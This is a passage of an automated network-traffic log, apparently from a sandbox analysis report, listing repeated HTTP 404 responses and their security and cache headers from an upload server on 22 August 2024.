AHxI1nMMRQi4C3B16d1zZaQ9lEfIQJaT3I8dQ8KzcgxKkcbls2TBkD_q2MsE9Lys7oKR2cf3zovk1ZmN6gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:41 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-YvF4tVFFU4zRdpFHyCqnPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nM-0yzZ4poP4CqtvSDnRUoJyO87ueqE8JIjafdduh1oIYmqlHEuug92JdhCNgB-36-b31gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:42 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-izLHJgQYtJW7IApoOs4Z0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPZE_fG1zBq_5847CFBF5oxjGSajU9aS_0wHTQ-rQtfUzYzxFLu1xus210GGMt_UJKShBkServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-8Q75ymAAId0tEqfgelshKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nODSuGhxCq9H4Z1gIRobILsltP2fhDyBPbfehxsPKe809S0F-smlHiS9uk5Sf-tb9reiKIServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:45 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-nYEO8ePc_GSy-t6yyKuY1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMUh2Q9lcGxoGR-Tbr7wRc4Pzifv5WKUYI0VN9xB57l59AynqvJfF3c370TNevd_-5mEakServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:45 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_zv7VA0DfTxmGI3t4frVuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nPZVMIFiwcSRv_Fnn4QN_-WVllPnz5dO9gkEnFPD7mBNazH-43ARO8eq-zA3gkX2Rt6GtwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:46 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-o-mJrHisfGXj_ev0ez3t4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPcPNAPte2_fZ52-WAEgJCMoBj0mTLJ8P_of-78vTLB9RSjLmDyT_lLlx9JOZg4R2jrtk8Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:46 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-FSPnz0Oi-88qHmJIfuLymQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nOEPeeQgipGnb3JuIvfmPXNViM4Ugst9SG057v7pr9urMn29xGTO4qD0ALqFIpfVxed1TwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:49 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce--65arE_qYsGwGW1ESpf1Dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPEsPXwCXS5WwB4PE61nQCVCwp_SZrpYFqmcaAPr975GLPggtGUk54GI78XZ-1woBbz0HvT_PWgOQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:49 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MPk1tnRuFHmINS4UjTu4jw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNaRhk4d7u8MFPFBbQWJYVWl5AHxG5EDjk9rinLU4FFdqvIxq3yBtuiDlNI4qLmLa3zNbQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-LUVDFPclIN7DKcn4VyNZFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nN4HsdWVsASyhjvEYRizisxOcYwaAnEfPkLBiobytIgwbEYUGLemXRutWNQeHdZPYLDkMMServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:50 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce---qMxXlT0ZB-MTL2JbAdTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPVgnIPTnFuE-FHWiIPXxnXU--g3gm0xl69yb0TdqLilErR_8epJayuGVjNolyoULbKexUServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:53 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-k5i9pZcSsfcGZ_6NkazamA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nOh0fDbIihgvwHw_SfZtw2UV0BXHQVwZeDjTyp_bDrLc6JuidBph7AGK8zCdbTC78DsqIIServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:53 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-DmKSU9v7INYeTtf_C063lQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nNfvsUyedKc0F9xL-1uTlmm7EWZuDjgei0qTWi1NRwTELDJaNlcO1gkyZjGgsbvrxthpvoServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:54 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-fEEuZ1AKY4W_UqFdn9xSfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNosDxn56Pt__CjPOmP5umWiOBt8tXKaYotxEonkIqyTLFdVtznUWeIBeZyGIT1d2dDZjoServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:54 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-943Ac2QhRP-jOA_vA_N2eQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPofT3VYj6xiouPYzCdBgvEEDRK3UWvxGW3yGn4I6dy9NEO5Ok96EKSXeLcc0DBLNdAGIYServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:55 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-3BqL1pXn9ALONXnON7gpCQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMXVvKaZKzmYxgQ_HYplyKELmeN5HUJ6QwXYsJn7OGsw6USislapKJMsognJQZEScQHWlwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:57 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-pLssw3vZsoj-HWzQKYdDuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMUGAi0V9YICuy3Mwn5pCeoyQJh9Y-hA-MWh3uCbQSpUWEZl6N4Rtcgfo557sPkuuAajQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:57 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-zdaZ-cHjeHlKwmZaFrs4RQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nOeFs_2aGK9kn9FaTXYgh3fYImlCbdXnams8xicN3UTops6Cu33iy0oeq4TAV1NCPC9Rw-2_Fjj8QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:58 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-_BWmzPACTUzMELl66iMXnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNfBhRUJlTkfQf8u_rDytshloKuBMbRLX8kvZkYpaTf9kxpdgKgNP31Ik6vmXeTKaCdqswServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:58 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-xWMkghkX0OX7yaFpVBdF4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nMGjxHPIyK8Bbep_4hZmqM2Umz7Q834VDkNMoH7LZmvLpnocTeZFwMdlt2HOpHdqHlQi7gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
